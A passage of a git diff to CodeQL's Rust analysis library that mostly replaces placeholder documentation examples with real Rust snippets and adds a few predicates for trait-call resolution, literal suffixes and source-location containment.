Generated::BinaryExpr.super.getOperatorName() } - override Expr getAnOperand() { result = [this.getLhs(), this.getRhs()] } + override Expr getOperand(int n) { + n = 0 and result = this.getLhs() + or + n = 1 and result = this.getRhs() + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll index 944185cf122e..e9ec4339d1ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll @@ -14,6 +14,7 @@ private import codeql.rust.elements.PathExpr module Impl { private import rust private import codeql.rust.internal.PathResolution as PathResolution + private import codeql.rust.internal.TypeInference as TypeInference pragma[nomagic] Path getFunctionPath(CallExpr ce) { result = ce.getFunction().(PathExpr).getPath() } @@ -36,7 +37,14 @@ module Impl { class CallExpr extends Generated::CallExpr { override string toStringImpl() { result = this.getFunction().toAbbreviatedString() + "(...)" } - override Callable getStaticTarget() { result = getResolvedFunction(this) } + override Callable getStaticTarget() { + // If this call is to a trait method, e.g., `Trait::foo(bar)`, then check + // if type inference can resolve it to the correct trait implementation. + result = TypeInference::resolveMethodCallTarget(this) + or + not exists(TypeInference::resolveMethodCallTarget(this)) and + result = getResolvedFunction(this) + } /** Gets the struct that this call resolves to, if any. */ Struct getStruct() { result = getResolvedFunction(this) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index e84935438981..095a5a269e0f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.ClosureBinder */ module Impl { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll index c66296be9c4c..7a5a78df17cc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstArg */ module Impl { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends Generated::ConstArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll index b312e791d5e4..d2f3cde2d037 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Const */ module Impl { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends Generated::Const { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll index 72fcf2769470..e4ff7186254f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstParam */ module Impl { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends Generated::ConstParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll index d8321fce4bf4..eb0e3722e215 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll @@ -15,6 +15,13 @@ module Impl { private import codeql.rust.elements.internal.NamedCrate private import codeql.rust.internal.PathResolution + // the following QLdoc is generated: if you need to edit it, do it in the schema file + /** + * A Crate. For example: + * ```rust + * todo!() + * ``` + */ class Crate extends Generated::Crate { override string toStringImpl() { result = strictconcat(int i | | this.toStringPart(i) order by i) @@ -60,13 +67,11 @@ module Impl { Crate getADependency() { result = this.getDependency(_) } /** Gets the source file that defines this crate, if any. */ - SourceFile getSourceFile() { result.getFile() = this.getModule().getFile() } + SourceFile getSourceFile() { result.getFile() = this.getLocation().getFile() } /** * Gets a source file that belongs to this crate, if any. */ SourceFile getASourceFile() { result = this.(CrateItemNode).getASourceFile() } - - override Location getLocation() { result = this.getModule().getLocation() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll index c9e6bc7ea383..0ea1d4397f94 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.DynTraitTypeRepr */ module Impl { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends Generated::DynTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll index 39663b6a0e0a..e57a416fa721 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll @@ -15,9 +15,11 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends Generated::Enum { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll index 0bd734b88359..bb60d9c6e660 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ExternBlock */ module Impl { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends Generated::ExternBlock { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll index 6c219b20d794..af9e4005b196 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ExternCrate */ module Impl { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends Generated::ExternCrate { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll index beabbf706eea..ac4f97d30713 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItem */ module Impl { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends Generated::ExternItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll index 255074a9bf95..f2281c5f6d87 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItemList */ module Impl { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends Generated::ExternItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll index 1af239797c0f..c10e57902291 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.FieldList */ module Impl { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends Generated::FieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll index 3710b4589d5d..41d1151ac362 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.FnPtrTypeRepr */ module Impl { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends Generated::FnPtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll index b333702c9415..2fe247e5e292 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ForExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends Generated::ForExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 67db6fdcd020..f555c6649636 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll index 9d9e3561472b..88f6a627140c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericArg */ module Impl { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends Generated::GenericArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll index 28027026ae8d..1956046a8dd9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericParam */ module Impl { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends Generated::GenericParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll index 7b23a2e854ba..298e07f4b3e9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Impl module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends Generated::Impl { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll index 74efa4f2190e..6cbaa60da088 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ImplTraitTypeRepr */ module Impl { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends Generated::ImplTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll index 1df33c2c3ccf..b06339e6bf6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.InferTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends Generated::InferTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll index 1a453671cbf5..f211708bc812 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Item */ module Impl { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends Generated::Item { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll index 668bf039eb62..2d94e6340dd2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ItemList */ module Impl { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends Generated::ItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll index 11643dcbcb48..9a36a8a28081 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.LetElse module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends Generated::LetElse { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index d4f0373cda34..db3bd53c8935 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeArg */ module Impl { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll index e15f5733748a..1825cf5804d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Lifetime module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends Generated::Lifetime { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll index e4918e4cf56f..7db6c5bcb69f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeParam */ module Impl { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends Generated::LifetimeParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll index f848663a99bb..a836a4c40752 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll @@ -76,7 +76,14 @@ module Impl { /** * A number literal. */ - abstract class NumberLiteralExpr extends LiteralExpr { } + abstract class NumberLiteralExpr extends LiteralExpr { + /** + * Get the suffix of this number literal, if any. + * + * For example, `42u8` has the suffix `u8`. + */ + abstract string getSuffix(); + } // https://doc.rust-lang.org/reference/tokens.html#integer-literals private module IntegerLiteralRegexs { @@ -126,12 +133,7 @@ module Impl { class IntegerLiteralExpr extends NumberLiteralExpr { IntegerLiteralExpr() { this.getTextValue().regexpMatch(IntegerLiteralRegexs::integerLiteral()) } - /** - * Get the suffix of this integer literal, if any. - * - * For example, `42u8` has the suffix `u8`. - */ - string getSuffix() { + override string getSuffix() { exists(string s, string reg | s = this.getTextValue() and reg = IntegerLiteralRegexs::integerLiteral() and @@ -193,12 +195,7 @@ module Impl { not this instanceof IntegerLiteralExpr } - /** - * Get the suffix of this floating-point literal, if any. - * - * For example, `42.0f32` has the suffix `f32`. - */ - string getSuffix() { + override string getSuffix() { exists(string s, string reg | reg = IntegerLiteralRegexs::paren(FloatLiteralRegexs::floatLiteralSuffix1()) + "|" + diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll index ed349df48681..fcb5289e0493 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll @@ -43,7 +43,7 @@ module Impl { File getFile() { result = this.getLocation().getFile() } /** Holds if this element is from source code. */ - predicate fromSource() { exists(this.getFile().getRelativePath()) } + predicate fromSource() { this.getFile().fromSource() } } private @location_default getDbLocation(Locatable l) { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll index 52daf46863b6..65cc6b3bd7c4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll @@ -77,13 +77,76 @@ module LocationImpl { ) } - /** Holds if this location starts strictly before the specified location. */ + /** Holds if this location starts before location `that`. */ pragma[inline] - predicate strictlyBefore(Location other) { - this.getStartLine() < other.getStartLine() - or - this.getStartLine() = other.getStartLine() and this.getStartColumn() < other.getStartColumn() + predicate startsBefore(Location that) { + exists(string f, int sl1, int sc1, int sl2, int sc2 | + this.hasLocationInfo(f, sl1, sc1, _, _) and + that.hasLocationInfo(f, sl2, sc2, _, _) + | + sl1 < sl2 + or + sl1 = sl2 and sc1 <= sc2 + ) + } + + /** Holds if this location starts strictly before location `that`. */ + pragma[inline] + predicate startsStrictlyBefore(Location that) { + exists(string f, int sl1, int sc1, int sl2, int sc2 | + this.hasLocationInfo(f, sl1, sc1, _, _) and + that.hasLocationInfo(f, sl2, sc2, _, _) + | + sl1 < sl2 + or + sl1 = sl2 and sc1 < sc2 + ) + } + + /** Holds if this location ends after location `that`. */ + pragma[inline] + predicate endsAfter(Location that) { + exists(string f, int el1, int ec1, int el2, int ec2 | + this.hasLocationInfo(f, _, _, el1, ec1) and + that.hasLocationInfo(f, _, _, el2, ec2) + | + el1 > el2 + or + el1 = el2 and ec1 >= ec2 + ) } + + /** Holds if this location ends strictly after location `that`. */ + pragma[inline] + predicate endsStrictlyAfter(Location that) { + exists(string f, int el1, int ec1, int el2, int ec2 | + this.hasLocationInfo(f, _, _, el1, ec1) and + that.hasLocationInfo(f, _, _, el2, ec2) + | + el1 > el2 + or + el1 = el2 and ec1 > ec2 + ) + } + + /** + * Holds if this location contains location `that`, meaning that it starts + * before and ends after it. + */ + pragma[inline] + predicate contains(Location that) { this.startsBefore(that) and this.endsAfter(that) } + + /** + * Holds if this location strictlycontains location `that`, meaning that it starts + * strictly before and ends strictly after it. + */ + pragma[inline] + predicate strictlyContains(Location that) { + this.startsStrictlyBefore(that) and this.endsStrictlyAfter(that) + } + + /** Holds if this location is from source code. */ + predicate fromSource() { this.getFile().fromSource() } } class LocationDefault extends Location, TLocationDefault { diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index c28d08f540b1..cac1d71dd1e1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -11,14 +11,32 @@ private import codeql.rust.elements.internal.generated.MacroCall * be referenced directly. */ module Impl { + private import rust + + pragma[nomagic] + predicate isInMacroExpansion(MacroCall mc, AstNode n) { + n = mc.getMacroCallExpansion() + or + isInMacroExpansion(mc, n.getParentNode()) + } + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ class MacroCall extends Generated::MacroCall { override string toStringImpl() { result = this.getPath().toAbbreviatedString() + "!..." } + + /** Gets an AST node whose location is inside the token tree belonging to this macro call. */ + pragma[nomagic] + AstNode getATokenTreeNode() { + isInMacroExpansion(this, result) and + this.getTokenTree().getLocation().contains(result.getLocation()) + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index 17d0293b1088..90cdfd533c6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ class MacroDef extends Generated::MacroDef { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll index 42c46e9e60b6..2dfb6e445ac4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.MacroExpr */ module Impl { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends Generated::MacroExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll index 2ed6536fac87..0efb96554a47 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll @@ -13,10 +13,18 @@ private import codeql.rust.elements.internal.generated.MacroItems */ module Impl { /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 70c056fa5c16..166b105ab959 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -13,9 +13,20 @@ private import codeql.rust.elements.internal.generated.MacroPat */ module Impl { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ class MacroPat extends Generated::MacroPat { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll index ca0051dce8d0..5d5b45ea84f6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroRules */ module Impl { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends Generated::MacroRules { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index 6ef366ccdfdc..87801fe58770 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MacroTypeRepr */ module Impl { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends Generated::MacroTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll index 5e1ac06282a5..6f77dc0b42fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.MatchArmList */ module Impl { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends Generated::MatchArmList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll index e4bc039ee535..495fcc88ef65 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MatchGuard */ module Impl { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => 